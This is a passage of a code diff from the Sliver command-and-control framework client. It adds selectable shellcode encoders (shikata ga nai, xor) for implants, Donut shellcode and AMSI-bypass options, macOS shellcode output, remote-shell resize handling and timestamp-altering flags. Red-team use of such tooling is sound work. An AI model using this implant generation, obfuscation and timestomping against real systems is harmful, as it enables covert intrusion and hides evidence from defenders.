return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
package exec
import (
"context"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGWINCH)
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-sigCh:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
signal.Stop(sigCh)
close(stopCh)
<-doneCh
})
}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build windows
package exec
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"os"
"sync"
"time"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
ticker := time.NewTicker(250 * time.Millisecond)
defer ticker.Stop()
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-ticker.C:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(stopCh)
<-doneCh
})
}
}
+77 -10
View File
@@ -19,6 +19,8 @@ package filesystem
import (
"context"
"fmt"
"strconv"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -28,14 +30,77 @@ import (
"google.golang.org/protobuf/proto"
)
const chtimesDefaultLayout = "2006-01-02 15:04:05"
type chtimesTimeFormat struct {
name string
parse func(string) (int64, error)
}
func chtimesParseUnixSeconds(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return parsed, nil
}
func chtimesParseUnixMillis(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return time.UnixMilli(parsed).Unix(), nil
}
func chtimesParseLayout(layout string) func(string) (int64, error) {
return func(value string) (int64, error) {
parsed, err := time.Parse(layout, value)
if err != nil {
return 0, err
}
return parsed.Unix(), nil
}
}
func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
formatFlags := []struct {
flag string
format chtimesTimeFormat
}{
{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
}
var selected *chtimesTimeFormat
selectedFlag := ""
for _, candidate := range formatFlags {
enabled, _ := cmd.Flags().GetBool(candidate.flag)
if !enabled {
continue
}
if selected != nil {
return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
}
selected = &candidate.format
selectedFlag = candidate.flag
}
if selected == nil {
return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
}
return *selected, nil
}
// ChtimesCmd - Change the access and modified time of a file on the remote file system.
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// DateTime layout (https://pkg.go.dev/time)
layout := "2006-01-02 15:04:05"
filePath := args[0]
if filePath == "" {
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
atime := args[1]
format, err := chtimesFormatFromFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
atime := args[1]
if atime == "" {
con.PrintErrorf("Missing parameter: Last accessed time id\n")
return
}
t_a, err := time.Parse(layout, atime)
unixAtime, err := format.parse(atime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
return
}
unixAtime := t_a.Unix()
mtime := args[2]
if mtime == "" {
con.PrintErrorf("Missing parameter: Last modified time id\n")
return
}
t_b, err := time.Parse(layout, mtime)
unixMtime, err := format.parse(mtime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
return
}
unixMtime := t_b.Unix()
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
Request: con.ActiveTarget.Request(cmd),
+44 -3
View File
@@ -3,6 +3,7 @@ package generate
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("name", "n", "", "Implant name")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesGenerateCmd)
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("debug-file", "O", "", "path to debug output")
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
@@ -341,7 +343,45 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
// Shellcode generation options:
// - Windows: Donut
// - macOS: beignet
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
// Backwards-compatible deprecated Donut flags (hidden).
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
_ = f.MarkHidden("donut-entropy")
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
_ = f.MarkHidden("donut-compress")
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
_ = f.MarkHidden("donut-exitopt")
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
_ = f.MarkHidden("donut-bypass")
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
_ = f.MarkHidden("donut-headers")
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
_ = f.MarkHidden("donut-thread")
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
_ = f.MarkHidden("donut-unicode")
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
_ = f.MarkHidden("donut-oep")
})
}
@@ -354,6 +394,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
+366 -22
View File
@@ -28,6 +28,7 @@ import (
"os/signal"
"path/filepath"
"runtime"
"sort"
"strconv"
"strings"
"time"
@@ -353,7 +354,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isSharedLib := false
isService := false
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
@@ -377,8 +377,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
sgnEnabled = !sgnEnabled
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
@@ -395,9 +393,15 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
if targetOS == "" || targetArch == "" {
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return "", nil
if configFormat == clientpb.OutputFormat_SHELLCODE {
if targetOS != "windows" && targetOS != "darwin" {
con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
return "", nil
}
if targetOS == "darwin" && targetArch != "arm64" {
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
return "", nil
}
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
@@ -409,6 +413,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return "", nil
}
shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
var tunIP net.IP
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -446,6 +463,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
ShellcodeEncoder: shellcodeEncoder,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
@@ -480,11 +498,264 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
ShellcodeConfig: shellcodeConfig,
}
return name, config
}
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
if !cmd.Flags().Changed("shellcode-entropy") {
shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
}
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
if !cmd.Flags().Changed("shellcode-compress") {
shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
}
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
if !cmd.Flags().Changed("shellcode-exitopt") {
shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
}
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
if !cmd.Flags().Changed("shellcode-bypass") {
shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
}
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
if !cmd.Flags().Changed("shellcode-headers") {
shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
}
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
if !cmd.Flags().Changed("shellcode-thread") {
shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
}
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
if !cmd.Flags().Changed("shellcode-unicode") {
shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
}
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
if !cmd.Flags().Changed("shellcode-oep") {
shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
}
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-compress") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
if configFormat != clientpb.OutputFormat_SHELLCODE {
if anyChanged {
con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
}
return nil, nil
}
windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
// macOS shellcode currently only supports compression.
if targetOS != "windows" {
if targetOS == "darwin" {
if windowsOnlyChanged {
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
}
} else if anyChanged {
con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Compress: shellcodeCompress,
}, nil
}
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, nil
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if configFormat != clientpb.OutputFormat_SHELLCODE {
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
}
return clientpb.ShellcodeEncoder_NONE, nil
}
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
@@ -963,12 +1234,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
fileData := generated.File.Data
if config.IsShellcode {
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
return nil, err
}
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
err = os.WriteFile(saveTo, fileData, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -1015,22 +1332,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
fileData := generated.File.Data
if config.IsShellcode {
if !config.SGNEnabled {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
} else {
con.Printf("success!\n")
fileData = resp.GetData()
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
con.PrintErrorf("%s\n", msg)
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
}
}
+43 -12
View File
@@ -2,6 +2,7 @@ package generate
import (
"context"
"errors"
"fmt"
"strings"
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
}
data = generated.GetFile().GetData()
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := profile.Config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
